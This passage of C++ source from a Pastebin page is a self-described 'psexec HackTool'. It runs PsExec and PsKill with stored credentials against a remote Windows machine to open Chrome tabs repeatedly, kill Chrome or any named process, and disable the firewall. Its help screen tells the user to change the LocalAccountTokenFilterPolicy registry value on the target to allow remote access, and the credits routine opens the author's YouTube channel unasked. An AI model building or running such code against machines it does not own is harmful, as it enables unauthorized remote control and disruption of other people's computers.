  854.         std::cout << "    Please enter the time of delay between every tab opening (in milliseconds): ";
  855.         color('G');
  856.         cin >> sDelayBetweenStartingTabs;
  857.         try {
  858.             iDelayBetweenStartingTabs = std::stoi(sDelayBetweenStartingTabs);
  859.         }
  860.         catch (std::invalid_argument& e) {
  861.             std::cout << "Please enter a valid number.\n";
  862.             cin.ignore();
  863.             pause('y');
  864.             openURL();
  865.         }
  866.         if (iDelayBetweenStartingTabs < 100)
  867.             iDelayBetweenStartingTabs = 100;
  868.     }
  869.     else{
  870.         iDelayBetweenStartingTabs = 100;
  871.         iNumOfTabsToOpen = 1;
  872.     }
  873.    
  874.     //-------------------------------------------------------------------------------------------
  875.     //=                            START TO CHECK FOR INCOGNITO MODE                            =
  876.     //-------------------------------------------------------------------------------------------
  877.     if (sIncognito == "y" || sIncognito == "Y" || sIncognito == "yes" || sIncognito == "Yes" || sIncognito == "") {
  878.         AnswerIncognito = " -incognito";
  879.         color('B');
  880.     }
  881.     else if (sIncognito == "n" || sIncognito == "N" || sIncognito == "no" || sIncognito == "No")
  882.         AnswerIncognito = "";
  883.  
  884.     std::cout << "\n\n\n";
  885.     color('G');
  886.     std::cout << "    [+] Opening the URL: ";
  887.     color('R');
  888.     std::cout << URL;
  889.     color('G');
  890.     std::cout << ", ";
  891.     color('R');
  892.     std::cout << iNumOfTabsToOpen;
  893.     color('G');
  894.     std::cout << " times.\n";
  895.  
  896.     if (bIsinVisible) {
  897.         Sleep(iDelayBeforeOpening);
  898.         for (int c = 0; c < iNumOfTabsToOpen; c++) {
  899.             system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c start chrome " + URL + AnswerIncognito).c_str());
  900.            
  901.             Sleep(iDelayBetweenStartingTabs);
  902.         }      
  903.     }
  904.     else {
  905.         Sleep(iDelayBeforeOpening);
  906.         for (int c = 0; c < iNumOfTabsToOpen; c++) {
  907.             system(("psexec -i -d \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + ' ' + '"' + "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" + '"' + ' ' + '"' + URL + '"' + AnswerIncognito + " -accepteula").c_str());
  908.  
  909.             Sleep(iDelayBetweenStartingTabs);
  910.         }
  911.     }
  912.  
  913.     color('Y');
  914.     std::cout << "\n\n\n";
  915.     pause('y');
  916.     chooseoption();
  917.     return;
  918. }
  919.  
  920. void closeChrome() {
  921.     clear();
  922.     string title = "psexec HackTool - close chrome";
  923.     system(("title " + title).c_str());
  924.     color('Y');
  925.     std::cout << "         ---------------------------------------------------------------------------------\n";
  926.     std::cout << "         =                                                        \n";
  927.     std::cout << "         =          Attacking ";
  928.     color('G');
  929.     std::cout << pc.ip;
  930.     color('w');
  931.     std::cout << " with the ";
  932.     color('G');
  933.     std::cout << "username: " << pc.username;
  934.     color('w');
  935.     std::cout << " and the ";
  936.     color('G');
  937.     std::cout << "password: " << pc.password << std::endl;
  938.     color('Y');
  939.     std::cout << "         =              Closing all of its Chrome tabs.            \n";
  940.     std::cout << "         -                                                                               -\n";
  941.     std::cout << "         ---------------------------------------------------------------------------------\n";
  942.     color('C');
  943.     std::cout << "[+] Authenticating...\n";
  944.     color('w');
  945.     system(("pskill \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " chrome.exe " + " -accepteula").c_str());
  946.     color('R');
  947.     std::cout << "DONE\n";
  948.     color('w');
  949.     pause('y');
  950.     cin.ignore();
  951.     chooseoption();
  952.     return;
  953. }
  954.  
  955. void closeProcess() {
  956.     clear();
  957.     system("title psexec HackTool - close process");
  958.  
  959.     string ProcessToClose; 
  960.     std::cout << "\n\n\n";
  961.     color('Y');
  962.     std::cout << "         Please specify the process name you want to close (type back to go back): ";
  963.     color('C');
  964.     cin.clear();
  965.     cin >> ProcessToClose;
  966.     if (ProcessToClose == "back" || ProcessToClose == "BACK")
  967.         chooseoption();
  968.     color('Y');
  969.     std::cout << "         -------------------------------------------------------------------------------------\n";
  970.     std::cout << "         =                                                        \n";
  971.     std::cout << "         =          Attacking ";
  972.     color('G');
  973.     std::cout << pc.ip;
  974.     color('Y');
  975.     std::cout << " with the ";
  976.     color('G');
  977.     std::cout << "username: " << pc.username;
  978.     color('Y');
  979.     std::cout << " and the ";
  980.     color('G');
  981.     std::cout << "password: " << pc.password << std::endl;
  982.     color('Y');
  983.     std::cout << "         =              Closing The process: ";
  984.     color('C');
  985.     std::cout << ProcessToClose << '\n';
  986.     color('Y');
  987.     std::cout << "         =                                                                                    \n";
  988.     std::cout << "         -------------------------------------------------------------------------------------\n";
  989.     color('C');
  990.     std::cout << "[+] Authenticating...\n";
  991.     color('C');
  992.     //system(("psexec -s -d \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c taskkill /F /IM " + ProcessToClose + " /T -accepteula").c_str());
  993.     system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c taskkill /F /IM " + ProcessToClose).c_str());
  994.     color('Y');
  995.     std::cout << "DONE\n";
  996.     pause('y');
  997.     cin.ignore();
  998.     chooseoption();
  999.     return;
  1000. }
  1001.  
  1002. void credits() {
  1003.     system("title Made by Ori");
  1004.     clear();
  1005.     std::cout << "\n\n\n";
  1006.     color('C');
  1007.     std::cout << "                    =======================================================\n";
  1008.     color('C');
  1009.     std::cout << "                    |                                                     |\n";
  1010.     std::cout << "                    |"; color('R'); cout << "         This hack tool was made by Ori shamir"; color('C'); cout << "       |\n"; Sleep(2300);
  1011.     std::cout << "                    |                                                     |\n"; Sleep(200);
  1012.     std::cout << "                    |"; color('B'); cout << "         It was programmed using C++"; color('C'); cout << "                 |\n"; Sleep(2300);
  1013.     std::cout << "                    |                                                     |\n"; Sleep(200);
  1014.     std::cout << "                    |"; color('Y'); cout << "         I hope you will enjoy my creation."; color('C'); cout << "          |\n"; Sleep(2300);
  1015.     std::cout << "                    |                                                     |\n"; Sleep(200);
  1016.     std::cout << "                    |"; color('P'); cout << "         Please follow my youtube channel."; color('C'); cout << "           |\n"; Sleep(2300);
  1017.     std::cout << "                    |                                                     |\n"; Sleep(200);
  1018.     std::cout << "                    |"; color('G'); cout << "         I will open my youtube channel for you."; color('C'); cout << "     |\n";
  1019.     std::cout << "                    |                                                     |\n";
  1020.     std::cout << "                    =======================================================\n\n\n";
  1021.     Sleep(2000);
  1022.     system("start chrome https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/");
  1023.     std::cout << "\n\n\n";
  1024.     color('w');
  1025.     pause('n');
  1026.     chooseoption();
  1027.  
  1028. }
  1029.  
  1030. void color(char colorchar) {
  1031.     switch (colorchar) {
  1032.     case 'B':
  1033.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 9);
  1034.         break;
  1035.     case 'b':
  1036.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 1);
  1037.         break;
  1038.  
  1039.     case 'y':
  1040.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 6);
  1041.         break;
  1042.     case 'Y':
  1043.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14);
  1044.         break;
  1045.  
  1046.     case 'c':
  1047.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 3);
  1048.         break;
  1049.     case 'C':
  1050.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); //bright cyan
  1051.         break;
  1052.  
  1053.     case 'r':
  1054.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 4);
  1055.         break;
  1056.     case 'R':
  1057.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
  1058.         break;
  1059.  
  1060.     case 'p':
  1061.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 5);
  1062.         break;
  1063.     case 'P':
  1064.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 13);
  1065.         break;
  1066.  
  1067.     case 'g':
  1068.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
  1069.         break;
  1070.     case 'G': // bright green
  1071.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 10);
  1072.         break;
  1073.  
  1074.     case 'w':
  1075.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
  1076.         break;
  1077.     case 'W':
  1078.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 15);
  1079.         break;
  1080.  
  1081.     case 'l':
  1082.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0);
  1083.         break;
  1084.     }
  1085. }
  1086.  
  1087. void helpCommands() {
  1088.     color('R');
  1089.     std::cout << "\n         Commands: \n" ;
  1090.  
  1091.     color('G');
  1092.     std::cout << "         set ip [ip]";
  1093.     color('Y');
  1094.     std::cout << " - Set the ip of the remote machine.\n";
  1095.  
  1096.     color('G');
  1097.     std::cout << "         set username [username]";
  1098.     color('Y');
  1099.     std::cout << " - Set the username of the remote machine.\n";
  1100.    
  1101.     color('G');
  1102.     std::cout << "         set password [password]";
  1103.     color('Y');
  1104.     std::cout << " - Set the password of the remote machine.\n";
  1105.        
  1106.     color('G');
  1107.     std::cout << "         set attackType [type]";
  1108.     color('Y');
  1109.     std::cout << " - Set the attack type for the remote machine (type " << '"' << "set" << '"' << " for more info).\n";
  1110.  
  1111.     color('G');
  1112.     std::cout << "         show ip";
  1113.     color('Y');
  1114.     std::cout << " - Shows you the currently set IP\n";
  1115.  
  1116.     color('G');
  1117.     std::cout << "         show username";
  1118.     color('Y');
  1119.     std::cout << " - Shows you the currently set username\n";
  1120.  
  1121.     color('G');
  1122.     std::cout << "         show password";
  1123.     color('Y');
  1124.     std::cout << " - Shows you the currently set password\n";
  1125.  
  1126.     color('G');
  1127.     std::cout << "         show attackType";
  1128.     color('Y');
  1129.     std::cout << " - Shows you the currently set Attack Type\n";
  1130.  
  1131.     color('G');
  1132.     std::cout << "         DisableFirewall";
  1133.     color('Y');
  1134.     std::cout << " - Disables the firewall on the remote machine for smoother hacking experience.\n";
  1135.    
  1136.     color('G');
  1137.     std::cout << "         EnableFirewall";
  1138.     color('Y');
  1139.     std::cout << " - Enables the firewall on the remote machine.\n";
  1140.  
  1141.     color('G');
  1142.     std::cout << "         import <filename>";
  1143.     color('Y');
  1144.     std::cout << " - import saved database information (Please include the .txt extention.)\n";
  1145.    
  1146.     color('G');
  1147.     std::cout << "         info";
  1148.     color('Y');
  1149.     std::cout << " - Get info about the program.\n";
  1150.    
  1151.     color('G');
  1152.     std::cout << "         clear";
  1153.     color('Y');
  1154.     std::cout << " - Clears the screen.\n";
  1155.        
  1156. }
  1157.  
  1158. void info() {
  1159.     system("mode con: cols=140 lines=30");
  1160.     color('Y');
  1161.     std::cout << "\n\n\n";
  1162.     std::cout << "      First, type " << '"' << "help" << '"' << " for help." << "\n\n";
  1163.     std::cout << "      This is a hacktool by ori shamir\n";
  1164.     std::cout << "      This hacktool is using PSEXEC by microsoft.\n";
  1165.     std::cout << "      In order for this to work, you will need to:\n";
  1166.     std::cout << "      1.  Download PSTOOLS (type install)\n";
  1167.     std::cout << "      2.  Edit a registery on the computer you wish to hack.\n";
  1168.     color('G');
  1169.     std::cout << "      2.1 open CMD on the remote machine with administrator privileges.\n";
  1170.     std::cout << "      2.2 Run the command in the command line:\n";
  1171.     color('P');
  1172.     std::cout << "      2.3 " << "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f\n\n";
  1173.     color('R');
  1174.     std::cout << "      [!] know that for smoother hacking you will want to disable firewall on the remote machine.\n";
  1175.     std::cout << "          You can either type disablefirewall, or do it manually.\n";
  1176.     color('G');
  1177.     pause('n');
  1178.     system("mode con: cols=120 lines=30");
  1179.     chooseoption();
  1180. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top